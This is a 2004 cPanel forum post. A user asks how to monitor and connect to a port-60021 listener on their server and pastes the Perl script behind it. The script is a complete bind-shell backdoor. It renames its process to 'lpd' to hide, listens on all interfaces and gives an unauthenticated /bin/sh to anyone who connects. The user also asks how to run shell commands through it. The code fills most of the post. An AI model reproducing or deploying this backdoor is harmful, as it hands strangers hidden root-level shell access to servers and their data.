Please whitelist cPanel in your adblocker so that you’re able to see our version release promotions, thanks!

The Community Forums

Interact with an entire community of cPanel & WHM users!

How'd i monitor traffic on this port tcp 0 0 0.0.0.0:60021 0.0.0.0:* LISTEN 12532/lpd

Discussion in 'General Discussion' started by AbeFroman, Aug 13, 2004.

  1. AbeFroman

    AbeFroman BANNED

    Joined:
    Feb 16, 2002
    Messages:
    654
    Likes Received:
    1
    Trophy Points:
    318
    How'd i monitor traffic on this port tcp 0 0 0.0.0.0:60021 0.0.0.0:* LISTEN 12532/lpd

    How do i get to that port? I tried
    telnet ip 60021
    what do i type in to run shell commands?

    This was the script:
    #!/usr/bin/perl

    # * Author:
    # headflux (hf@synnergy.net)
    # Synnergy Networks (c) 1999, http://www.synnergy.net
    # *** Synnergy Networks

    use Socket;

    #rintf "BS\n";
    #lush();

    $port= 60021;
    $proto= getprotobyname('tcp');
    $cmd= "lpd";
    $system= 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';

    $0 = $cmd;


    socket(SERVER, PF_INET, SOCK_STREAM, $proto)
    or die "socket:$!";

    setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
    or die "setsockopt: $!";

    bind(SERVER, sockaddr_in($port, INADDR_ANY))
    or die "bind: $!";

    listen(SERVER, SOMAXCONN)or die "listen: $!";

    for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
    {
    open(STDIN, ">&CLIENT");
    open(STDOUT, ">&CLIENT");
    open(STDERR, ">&CLIENT");

    system($system);

    close(STDIN);
    close(STDOUT);
    close(STDERR);
    }
     
    Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
Loading...

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice